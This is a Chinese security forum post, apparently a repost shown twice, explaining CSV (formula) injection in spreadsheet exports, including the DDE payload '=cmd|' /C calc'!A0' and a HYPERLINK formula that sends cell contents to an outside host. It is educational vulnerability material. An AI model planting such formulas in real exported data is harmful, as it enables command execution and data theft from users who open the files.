搜索
查看: 4327|回复: 0

CSV注入漏洞

[复制链接]

70

主题

51

回帖

291

积分

中级会员

牛逼的金牌会员

积分
291
QQ
发表于 2017-12-6 10:08:04 | 显示全部楼层 |阅读模式 来自 甘肃陇南
0x01 概述
现在很多应用提供了导出电子表格的功能(不限于 Web 应用),早在 2014 年 8月 29 日国外 James Kettle 便发表了《Comma Separated Vulnerabilities》文章来讲述导出表格的功能可能会导致注入命令的风险,因为导出的表格数据有很多是来自于用户控制的,如:投票应用、邮箱导出。攻击方式类似于 XSS :所有的输入都是不可信的。
0x02 公式注入 & DDE
我们知道在 Excel 中是可以运行计算公式的: =1+5,它会将以 = 开头的单元格内容解释成公式并运行,单纯的运行计算公式可能没什么用,但这里可以用到 DDE 。Dynamic Data Exchange(DDE)是一款来自微软的古老技术,它是 Windows 下的一种跨进程通信的协议,支持 Microsoft Excel, LibreOffice 和 Apache OpenOffice。
执行 cmd 弹出计算器:
  • =cmd|' /C calc'!A0

[color=rgb(109, 115, 132) !important]复制代码

[color=rgb(109, 115, 132) !important]
[color=rgb(109, 115, 132) !important]
电梯直达[url=][/url]
楼主
@w=无名 发表于 2017-11-6 20:07:49 | 只看该作者
查看: 465|回复: 2

马上注册,加入HACK80!与我们一起交流。正式会员需要 登录 才可以下载或查看,没有帐号?立即注册

x

0x01 概述
现在很多应用提供了导出电子表格的功能(不限于 Web 应用),早在 2014 年 8月 29 日国外 James Kettle 便发表了《Comma Separated Vulnerabilities》文章来讲述导出表格的功能可能会导致注入命令的风险,因为导出的表格数据有很多是来自于用户控制的,如:投票应用、邮箱导出。攻击方式类似于 XSS :所有的输入都是不可信的。
0x02 公式注入 & DDE
我们知道在 Excel 中是可以运行计算公式的: =1+5,它会将以 = 开头的单元格内容解释成公式并运行,单纯的运行计算公式可能没什么用,但这里可以用到 DDE 。Dynamic Data Exchange(DDE)是一款来自微软的古老技术,它是 Windows 下的一种跨进程通信的协议,支持 Microsoft Excel, LibreOffice 和 Apache OpenOffice。
执行 cmd 弹出计算器:
  • =cmd|' /C calc'!A0

复制代码



当然也可以使用 -cmd ,+cmd 来执行 DDE ,这个问题在2014年进行了修复(CVE-2014-3524),所以我们现在注入命令执行时软件会有如下的提示:
这也就是现在这个漏洞类型的特殊性,虽然软件有着这样的安全风险提醒但仍有大量的厂商承认并修复潜在的漏洞威胁:
其中很大的一方面是由于信任域的原因导致用户仍可能受到攻击,用户在 security.com 域下导出自己的Guestbook.csv ,但由于恶意用户偷偷的在留言板中插入了恶意代码:
  • =HYPERLINK("http://linux.im?test="&A2&A3,"Error: Please click me!")

复制代码

所以说这个漏洞是要看背景的,由于它的特殊性(当然也可以配合社工),也就会出现厂商在审核此类漏洞时明明是一个 CSV Injection 漏洞但不会确认修复的情况。
0x03 实例
之前报告给腾讯的《CSV Injection on wj.qq.com》漏洞(已经修复):






本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?注册

×
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表